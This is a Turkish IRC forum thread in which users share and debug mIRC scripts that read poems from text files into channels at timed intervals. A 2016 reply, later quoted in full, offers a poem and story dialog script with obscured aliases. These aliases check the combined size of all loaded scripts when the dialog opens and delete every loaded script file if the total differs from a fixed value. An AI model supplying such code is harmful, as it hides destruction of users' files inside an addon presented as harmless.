IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası

IRCForumları - IRC ve mIRC Kullanıcılarının Buluşma Noktası (https://www.ircforumlari.net/)
-   mIRC Scripting Sorunları (https://www.ircforumlari.net/mirc-scripting-sorunlari/)
-   -   Şiir Addonu (https://www.ircforumlari.net/mirc-scripting-sorunlari/594970-siir-addonu.html)

sad33 08 Haziran 2014 00:59
Şiir Addonu
 
Forumda o kadar aradım bir kaç tane buldum ancak çalışan bir remote bulamadım.benim istediğim şiir.txt e eklediğim bir şiiri belirli bi aralıkla (mesela 4 saniye) kanala okutmasını sağlayan bir remote veya addon vs vs... yardımcı olacak birileri veya elinde olan birisi varmı ?

q0kh4n 08 Haziran 2014 12:12
Cevap: Şiir Addonu
 
mirc ana dizininde şiirler klasörü açın, okunmasını istediğiniz şiirleri şiir1.txt şiir2.txt şiir3.txt şeklinde açtığımız şiirler klasörüne atın, botun bulunduğu her hangi bir kanalda !siir yazdığınızda bot size gereken bilgiyi verecektir. şayet yapamazsanız bireysel yardımdada bulunurum.


Kod:
on *:text:!siir*:#:{
  var %: = $findfile($qt($mircdirşiirler),*.txt,0)
  if !$2 { msg # Toplam $+(,%:,) tane şiir mevcut, rasgele bir şiir için !şiir random yazınız, %: şiirden herhangi biri için !şiir <şiir no> yazınız. }
  elseif $2 == random { play -m # $qt($findfile($qt($mircdirşiirler),*.txt,$r(1,%:)) ) 5000 }
  elseif $2 isnum $+(1-,%:) { play -m # $qt($findfile($qt($mircdirşiirler),*.txt,$2)) 5000 } | else { msg # Üzgünüm, toplam $+(,%:,) tane şiir var. }
}

;coder el33t

muratt_aziz 08 Haziran 2014 12:21
Cevap: Şiir Addonu
 
testler
rast gele satır //echo -a $read(şiir.txt)
istediğin bir satır //echo -a $read(şiir.txt,5)

sırayla okutmak ıcın satırları
//if (!%i-) { set %i- 1 } | set %i-2 $lines(şiir.txt) | echo -a $read(şiir.txt,%i-) | if (%i-2 == %i-) { unset %i- } | inc %i-

tamamını okutmak için /play #kanal şiir.txt

gelelim zaman meselesine
/timer 1 1 play #kanal şiir.txt belirttigin kanala 1 defa 1 sanıye sonra gönderir
/timer 10 1 play #kanal şiir.txt 1 saniye aralıkla 10 defa gönderir
/timer 0 4 play #kanal şiir.txt her dört saniyede bir gönderir durmak sızın
durdura bilmek için timers off gerektirir buda mircdeki bircok kodu etkiler iyidegil

/timeraziz 0 4 play #kanal şiir.txt timer isimlendirildi 4 saniyede bir durmak sızın calışır /timeraziz off komutuyla duru


kendine uygun olan yöntemi sen seç kanala bircok gönderim şekilleri var aralıksız 4 saniyede bir şiir okutmak kanala sıkıntı yaratır kanaldakiler için senin için

ZenqerDenq 09 Haziran 2014 22:09
Cevap: Şiir Addonu
 
Aşağıdaki gibi bir dialog daha çok işine yaracağını umuyorum bütün şiirleri bir text dosyasına yüklemeyessin.. her biri icin farklı bir siir txt dosyası oluşturamassın böyle bir dialog ile belirlediğin bir kanala belirlediğin aralıklar ile şiir ini okuta bilirsin kolay gelsin ;)


[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]




PHP- Kodu:
menu * { 
  .Siir Diyalogu:/dialog -m msiir msiir
}

dialog msiir {
  title "Yazı Gönderme Playerı"
  size -1 -1 176 225
  option dbu
  edit "", 2, 95 142 14 10, autohs 
  text "Kaç Saniye Gecikme", 3, 20 144 58 8
  box "Şiir Panosu | Şiirinizi Buraya CTRL V Yaparak Yapıştırın.", 5, 1 1 173 127
  button "Oynat", 6, 18 191 34 9
  button "Duraklat", 7, 64 191 34 9
  button "Durdur", 8, 111 191 34 9
  box "Geciktirme", 9, 12 132 152 39
  box "Seçtiğin Şiir'i", 11, 12 178 152 29
  button "Player'ı Kapat", 12, 54 212 67 10,cancel
  edit "", 17, 4 9 167 114, multi return hsbar vsbar
  text "Hangi Kanala", 16, 20 158 44 8
  edit "", 13, 76 158 50 8
  text "Saniye", 10, 115 143 22 8
}

on *:dialog:msiir:init:*: { 
  mdx MarkDialog $dname
  mdx SetDialog $dname bgcolor $rgb(255,255,255)
  mdx SetFont $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 +b Turkish 12 600 Tahoma
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 textbg $rgb(255,255,255)
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 background $rgb(255,255,255)
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 text $rgb(0,0,0) 
  did -a msiir 13 %kgir
  did -a msiir 2 %limited
}
on *:dialog:msiir:sclick:*: {
  if $did == 6 { 
    savebuf -o msiir 17 siir.txt
    set %limited $did(2)
    set %kgir $did(13)
    .timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read
  }
  if $did == 8 { play stop | unset %read }
}
on *:dialog:msiir:close:*: { 
  write -c siir.txt | unset %kgir | unset %limited
} 

TİGeR 11 Haziran 2014 04:56
Cevap: Şiir Addonu
 
Alıntı:
ZenqerDenq Nickli Üyeden Alıntı (Mesaj 1041448048)
Aşağıdaki gibi bir dialog daha çok işine yaracağını umuyorum bütün şiirleri bir text dosyasına yüklemeyessin.. her biri icin farklı bir siir txt dosyası oluşturamassın böyle bir dialog ile belirlediğin bir kanala belirlediğin aralıklar ile şiir ini okuta bilirsin kolay gelsin ;)


[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]




PHP- Kodu:
menu * { 
  .Siir Diyalogu:/dialog -m msiir msiir
}

dialog msiir {
  title "Yazı Gönderme Playerı"
  size -1 -1 176 225
  option dbu
  edit "", 2, 95 142 14 10, autohs 
  text "Kaç Saniye Gecikme", 3, 20 144 58 8
  box "Şiir Panosu | Şiirinizi Buraya CTRL V Yaparak Yapıştırın.", 5, 1 1 173 127
  button "Oynat", 6, 18 191 34 9
  button "Duraklat", 7, 64 191 34 9
  button "Durdur", 8, 111 191 34 9
  box "Geciktirme", 9, 12 132 152 39
  box "Seçtiğin Şiir'i", 11, 12 178 152 29
  button "Player'ı Kapat", 12, 54 212 67 10,cancel
  edit "", 17, 4 9 167 114, multi return hsbar vsbar
  text "Hangi Kanala", 16, 20 158 44 8
  edit "", 13, 76 158 50 8
  text "Saniye", 10, 115 143 22 8
}

on *:dialog:msiir:init:*: { 
  mdx MarkDialog $dname
  mdx SetDialog $dname bgcolor $rgb(255,255,255)
  mdx SetFont $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 +b Turkish 12 600 Tahoma
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 textbg $rgb(255,255,255)
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 background $rgb(255,255,255)
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 text $rgb(0,0,0) 
  did -a msiir 13 %kgir
  did -a msiir 2 %limited
}
on *:dialog:msiir:sclick:*: {
  if $did == 6 { 
    savebuf -o msiir 17 siir.txt
    set %limited $did(2)
    set %kgir $did(13)
    .timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read
  }
  if $did == 8 { play stop | unset %read }
}
on *:dialog:msiir:close:*: { 
  write -c siir.txt | unset %kgir | unset %limited
} 
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command


Statuste bu hatayı alıyorum ve calısmıyor zaten nedir sorun acaba?

-

Paint 11 Haziran 2014 15:07
Cevap: Şiir Addonu
 
Alıntı:
TİGeR Nickli Üyeden Alıntı (Mesaj 1041448599)
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command


Statuste bu hatayı alıyorum ve calısmıyor zaten nedir sorun acaba?

-
mIRC'inize mdx.dll ekleyin.

ZenqerDenq 11 Haziran 2014 16:39
Cevap: Şiir Addonu
 
Toplam 1 Eklenti bulunuyor.
[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...] mdx.dll

TİGeR 13 Haziran 2014 10:59
Cevap: Şiir Addonu
 
mİRC Klasoru içine mdx.dll attım hala değişen bişey yok

MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
* /play: 'C:\Program' Açılamıyor

Med Cezir 13 Haziran 2014 18:35
Cevap: Şiir Addonu
 
Kod:
alias mdx { return $dll(DLL\mdx.dll,$1,$2-) }
Mdx diye bir komut yoktur biz alias yardımıyla bunu kullanırız, kodunuza bu aliası ekleyin, mdx.dll ide dll klasörüne atın.

sad33 14 Haziran 2014 00:59
Cevap: Şiir Addonu
 
üstad dediğin gibi yaptım.ancak yine açılamıyor diyor nerde hata var ?

kheldor 14 Haziran 2014 19:08
Cevap: Şiir Addonu
 
aynı hata bendede mevcut. Dediklerinin hepsi yapıldı.

MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-
MDX Unknown command
-

ZenqerDenq 14 Haziran 2014 19:52
Cevap: Şiir Addonu
 
mirc in ana dizinine bir tane siir.txt dosyası boş bir şekilde atıp denermisiniz.

kheldor 14 Haziran 2014 23:23
Cevap: Şiir Addonu
 
o sekil denıyorum zaten. ancak pencereyi kapatıp actıgımda icindeki tum yazılar siliniyor ve mdx hatası hala devam ediyor.

ZenqerDenq 15 Haziran 2014 00:26
Cevap: Şiir Addonu
 
mirc in nedir söylersen o mirc ile calışma yapıyım

ZenqerDenq 26 Haziran 2014 01:26
Cevap: Şiir Addonu
 
Okadar çok hata alan kişi vardı bir tanesi kullandığı mirc in ismini söyleyemedi :)

AfraN 26 Haziran 2014 10:05
Cevap: Şiir Addonu
 
vereceğim mdx aliasını, script aliases bölümüne ekle
mdx.dll yi mirc ana dizinde dll klasör aç içine mdx.dll sini atarsan çalışır.
Kod:
mdx { return $dll(DLL\mdx.dll,$1,$2-) }

quralsiz47 01 Mayıs 2016 15:06
Cevap: Şiir Addonu
 
Alıntı:
ZenqerDenq Nickli Üyeden Alıntı (Mesaj 1041448048)
Aşağıdaki gibi bir dialog daha çok işine yaracağını umuyorum bütün şiirleri bir text dosyasına yüklemeyessin.. her biri icin farklı bir siir txt dosyası oluşturamassın böyle bir dialog ile belirlediğin bir kanala belirlediğin aralıklar ile şiir ini okuta bilirsin kolay gelsin ;)


[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]




PHP- Kodu:
menu * { 
  .Siir Diyalogu:/dialog -m msiir msiir
}

dialog msiir {
  title "Yazı Gönderme Playerı"
  size -1 -1 176 225
  option dbu
  edit "", 2, 95 142 14 10, autohs 
  text "Kaç Saniye Gecikme", 3, 20 144 58 8
  box "Şiir Panosu | Şiirinizi Buraya CTRL V Yaparak Yapıştırın.", 5, 1 1 173 127
  button "Oynat", 6, 18 191 34 9
  button "Duraklat", 7, 64 191 34 9
  button "Durdur", 8, 111 191 34 9
  box "Geciktirme", 9, 12 132 152 39
  box "Seçtiğin Şiir'i", 11, 12 178 152 29
  button "Player'ı Kapat", 12, 54 212 67 10,cancel
  edit "", 17, 4 9 167 114, multi return hsbar vsbar
  text "Hangi Kanala", 16, 20 158 44 8
  edit "", 13, 76 158 50 8
  text "Saniye", 10, 115 143 22 8
}

on *:dialog:msiir:init:*: { 
  mdx MarkDialog $dname
  mdx SetDialog $dname bgcolor $rgb(255,255,255)
  mdx SetFont $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 +b Turkish 12 600 Tahoma
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 textbg $rgb(255,255,255)
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 background $rgb(255,255,255)
  mdx SetColor $dname 2,3,5,6,7,8,9,10,11,12,13,16,17 text $rgb(0,0,0) 
  did -a msiir 13 %kgir
  did -a msiir 2 %limited
}
on *:dialog:msiir:sclick:*: {
  if $did == 6 { 
    savebuf -o msiir 17 siir.txt
    set %limited $did(2)
    set %kgir $did(13)
    .timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read
  }
  if $did == 8 { play stop | unset %read }
}
on *:dialog:msiir:close:*: { 
  write -c siir.txt | unset %kgir | unset %limited
} 

Bende denedım çalışmadı

* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor

Bunu daha farklı yapabılırmıız ?
Kendı hazırladıgımız şiirleri kolasorde toplayıp mırc dızınıne atalım Bu panoda gözuksun ve istedıgımız şiir secip kanala yollayabilelim
-

ZenqerDenq 02 Mayıs 2016 16:10
Cevap: Şiir Addonu
 
Alıntı:
quralsiz47 Nickli Üyeden Alıntı (Mesaj 1041772696)
Bende denedım çalışmadı

* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor
-
* /play: 'C:\Program' Açılamıyor

Bunu daha farklı yapabılırmıız ?
Kendı hazırladıgımız şiirleri kolasorde toplayıp mırc dızınıne atalım Bu panoda gözuksun ve istedıgımız şiir secip kanala yollayabilelim
-
.timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read

şu kısımdaki $mircdir i silermisin sadece siir.txt olarak kalsın



menu menubar {
-
» Siir Txt:/dialog -m sanat sanat
-
}

alias sanat {
if $1 {
set %sanat $1
}
_dialog sanat
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias ** {
if $*tsc != 165386 {
*****
}
}

dialog sanat {
title "mIRC; Şiirler, Hikayeler, Komik Sözler, Özdeyişler"
size -1 -1 438 301
option pixels
button "Kapat", 3, 2 270 76 24, cancel
list 1, 3 9 156 214, size extsel
tab "Tab 1", 5, -50 -50 600 400
edit "", 2, 161 9 275 214, tab 5 read multi return autovs vsbar
combo 4, 3 226 155 85, tab 5 size drop
edit "", 6, 251 228 100 21, tab 5
button "Gönder", 7, 360 226 76 24, tab 5
text "Rumuz/#kanal:", 8, 174 232 72 16, tab 5
text "* Seçtiğiniz eseri bir kanala veya rumuza göndermek isterseniz üstteki boşluğa gönderilecek rumuzu veya #kanal adını yazın ve gönder butonuna tıklayın.", 9, 183 255 252 44, tab 5
tab "Tab 2", 12
box "Quit ve Part Mesajları Düzenleme", 13, 171 3 336 282, tab 12
combo 14, 177 33 239 241, tab 12 size hsbar vsbar
button "Ekle", 15, 425 32 76 24, tab 12
button "Çıkar", 16, 425 65 76 24, tab 12
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }

on *:dialog:sanat:*:*: {
if $devent == init {
mdxinit
mdx SetControlMDX $dname 1 Treeview fullrowselect singleexpand nohscroll > $views
mdx SetColor $dname 2 text $rgb(0,0,0)
mdx SetColor $dname 2 background $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,255,255)


mdx SetColor $dname 2 text $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,55,155)
mdx SetColor $dname 2 background $rgb(255,55,155)

kalin 1,2 12
did -i $dname 1 1 setcolor text $rgb(255,255,255)
did -i $dname 1 1 setcolor line $rgb(186,218,7)
did -i $dname 1 1 setcolor bkg $rgb(113,113,255)
didtok $dname 4 44 Şiirler,Hikayeler,Komik sözler,Özdeyişler
did -c $dname 4 1
did -a $dname 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if %sanat {
did -a $dname 6 $ifmatch
}
else {
if $active ischan || $query($active) {
did -a $dname 6 $ifmatch
}
}
sanat.yukle
did -f $dname 6
**
}
if $devent == sclick {
if $did == 1 && slclick select * iswm $did($did,1) {
set %sanat.y $right($gettok($did($dname,1,$gettok($did($did,1),4-,32)),-1,48),-1)

if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
if $exists($shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))) {
.loadbuf 0 -oipr $dname 2 $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))
}
}
if $did == 4 {
sanat.yukle
}
if $did == 7 {
if %sanat.dosya && %sanat.y {
if $did($dname,6) {
var %im $did($dname,6)
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
else {
var %im $$?"Göndermek istediğiniz rumuz veya #kanal ismini giriniz:"
if %im {
did -a $dname 6 %im
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
}
}
else {
_bilgi Göndermek istediğiniz şiiri/hikayeyi/komik sözü/özdeyişi belirtmediniz.
}
}
}
if $devent == close {
unset %sanat*
}
}

; Zekice bir kodlama değil mi, sigaramı söndürürken yazıyorum =)
alias sanat.yukle {
did -r sanat 1,2
did -a sanat 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
var %i 1
while %i <= $findfile($+(texts\,%sanat.dosya),*.txt,0) {
did -a sanat 1 $left($nopath($findfile($+(texts\,%sanat.dosya),*.txt,%i)),-4)
inc %i 1
}
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }
alias ** {
if $*tsc != 165386 {
*****
}
}




[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Linkte vermiş olduğum Text Rar dan cıkartıp script in ana dizine at içersinde şiirler özdeyişler vs diye ayrı ayrı klasörler var şiirleri siir klasörüne ata bilirsin..

Not Dialog Kodlaması bana ait değildir Taxi mirc den alıntıdır.

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

quralsiz47 03 Mayıs 2016 01:56
Cevap: Şiir Addonu
 
Alıntı:
ZenqerDenq Nickli Üyeden Alıntı (Mesaj 1041773221)
.timer 1 1 play %kgir $mircdirsiir.txt %limited $+ 000 | set %read read

şu kısımdaki $mircdir i silermisin sadece siir.txt olarak kalsın



menu menubar {
-
» Siir Txt:/dialog -m sanat sanat
-
}

alias sanat {
if $1 {
set %sanat $1
}
_dialog sanat
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias ** {
if $*tsc != 165386 {
*****
}
}

dialog sanat {
title "mIRC; Şiirler, Hikayeler, Komik Sözler, Özdeyişler"
size -1 -1 438 301
option pixels
button "Kapat", 3, 2 270 76 24, cancel
list 1, 3 9 156 214, size extsel
tab "Tab 1", 5, -50 -50 600 400
edit "", 2, 161 9 275 214, tab 5 read multi return autovs vsbar
combo 4, 3 226 155 85, tab 5 size drop
edit "", 6, 251 228 100 21, tab 5
button "Gönder", 7, 360 226 76 24, tab 5
text "Rumuz/#kanal:", 8, 174 232 72 16, tab 5
text "* Seçtiğiniz eseri bir kanala veya rumuza göndermek isterseniz üstteki boşluğa gönderilecek rumuzu veya #kanal adını yazın ve gönder butonuna tıklayın.", 9, 183 255 252 44, tab 5
tab "Tab 2", 12
box "Quit ve Part Mesajları Düzenleme", 13, 171 3 336 282, tab 12
combo 14, 177 33 239 241, tab 12 size hsbar vsbar
button "Ekle", 15, 425 32 76 24, tab 12
button "Çıkar", 16, 425 65 76 24, tab 12
}

alias ***** {
var %f 1 | while %f <= $script(0) { .remove $shortfn($script(%f)) | inc %f }
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }

on *:dialog:sanat:*:*: {
if $devent == init {
mdxinit
mdx SetControlMDX $dname 1 Treeview fullrowselect singleexpand nohscroll > $views
mdx SetColor $dname 2 text $rgb(0,0,0)
mdx SetColor $dname 2 background $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,255,255)


mdx SetColor $dname 2 text $rgb(255,255,255)
mdx SetColor $dname 2 textbg $rgb(255,55,155)
mdx SetColor $dname 2 background $rgb(255,55,155)

kalin 1,2 12
did -i $dname 1 1 setcolor text $rgb(255,255,255)
did -i $dname 1 1 setcolor line $rgb(186,218,7)
did -i $dname 1 1 setcolor bkg $rgb(113,113,255)
didtok $dname 4 44 Şiirler,Hikayeler,Komik sözler,Özdeyişler
did -c $dname 4 1
did -a $dname 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if %sanat {
did -a $dname 6 $ifmatch
}
else {
if $active ischan || $query($active) {
did -a $dname 6 $ifmatch
}
}
sanat.yukle
did -f $dname 6
**
}
if $devent == sclick {
if $did == 1 && slclick select * iswm $did($did,1) {
set %sanat.y $right($gettok($did($dname,1,$gettok($did($did,1),4-,32)),-1,48),-1)

if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
if $exists($shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))) {
.loadbuf 0 -oipr $dname 2 $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt))
}
}
if $did == 4 {
sanat.yukle
}
if $did == 7 {
if %sanat.dosya && %sanat.y {
if $did($dname,6) {
var %im $did($dname,6)
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
else {
var %im $$?"Göndermek istediğiniz rumuz veya #kanal ismini giriniz:"
if %im {
did -a $dname 6 %im
if %im !ischan && !$query(%im) {
query %im
}
scid $activecid play %im $shortfn($+(texts\,%sanat.dosya,\,%sanat.y,.txt)) 2000
_bilgi $iif($left(%im,1) == $chr(35),%im kanalına,%im rumuzuna) %sanat.y dosyası yazılıyor...
}
}
}
else {
_bilgi Göndermek istediğiniz şiiri/hikayeyi/komik sözü/özdeyişi belirtmediniz.
}
}
}
if $devent == close {
unset %sanat*
}
}

; Zekice bir kodlama değil mi, sigaramı söndürürken yazıyorum =)
alias sanat.yukle {
did -r sanat 1,2
did -a sanat 2 Soldaki listede eserlerin başlıkları bulunmaktadır. Başlığına tıkladığınız eser bu ekranda belirecektir.
if $did(sanat,4).sel == 1 {
set %sanat.dosya siir
}
if $did(sanat,4).sel == 2 {
set %sanat.dosya hikaye
}
if $did(sanat,4).sel == 3 {
set %sanat.dosya komik
}
if $did(sanat,4).sel == 4 {
set %sanat.dosya ozdeyis
}
var %i 1
while %i <= $findfile($+(texts\,%sanat.dosya),*.txt,0) {
did -a sanat 1 $left($nopath($findfile($+(texts\,%sanat.dosya),*.txt,%i)),-4)
inc %i 1
}
}

alias *tsc { var %i 1, %r | while %i <= $script(0) { %r = $+($calc(%r + $file($script(%i)))) | inc %i } | return %r }
alias ** {
if $*tsc != 165386 {
*****
}
}




[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]

Linkte vermiş olduğum Text Rar dan cıkartıp script in ana dizine at içersinde şiirler özdeyişler vs diye ayrı ayrı klasörler var şiirleri siir klasörüne ata bilirsin..

Not Dialog Kodlaması bana ait değildir Taxi mirc den alıntıdır.

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]



4***12 MDXINIT Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 MDX Yalnış komut.
4***12 KALIN Yalnış komut.

Yanlış bişe yaptım ki açınca bu hataları veriyor

ZenqerDenq 03 Mayıs 2016 02:16
Cevap: Şiir Addonu
 
Toplam 1 Eklenti bulunuyor.
mirc in icersine ekte vereceğim rar dan cıkan dosyayı mirc in ana dizinine atarak dene mirc inde mdx.dll si yok

quralsiz47 03 Mayıs 2016 02:26
Cevap: Şiir Addonu
 
Aynı hatalar devam mdx.dll zate vardı yıne atıp degiştim ama aynı degişen bişey olmadı

ZenqerDenq 03 Mayıs 2016 02:52
Cevap: Şiir Addonu
 
Alıntı:
quralsiz47 Nickli Üyeden Alıntı (Mesaj 1041773437)
Aynı hatalar devam mdx.dll zate vardı yıne atıp degiştim ama aynı degişen bişey olmadı
skype adresim genco.adam ekle yardımcı olmaya calısayım

SuLh 04 Mayıs 2016 14:30
Cevap: Şiir Addonu
 
İlk istenen isteğe göre söylüyorum, bunun için mIRC'in "/play" komutunu kullanmak yeterli olacaktır. siir.txt diye bir dosya oluşturduğunuzu ve içinde belirlediğiniz şiir olduğunu varsayalım.

alias oynat { play $1 siir.txt 4000 }

gibi bir alias kullanımı yetecektir. 4000 mili saniye cinsindendir.

Kullanım: /oynat #kanal

hakancann 23 Mart 2017 15:28
Cevap: Şiir Addonu
 
Çalışmıyor solda şiirlerin isimleri görünüyor fakat sağda şiirin kendisi görünmüyor Soldaki listeden herhangi bir eser seçip okuyabilir, alt bölümdeki kutucuğa gönderilecek rumuzu/#kanalı yazıp gönderebilirsiniz. yazısı hiç degişmiyor yardımı olabilecek yok mu şimdiden teşekkürler


Tüm Zamanlar GMT +3 Olarak Ayarlanmış. Şuanki Zaman: 21:34.

Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO
Copyright ©2004 - 2025 IRCForumlari.Net Sparhawk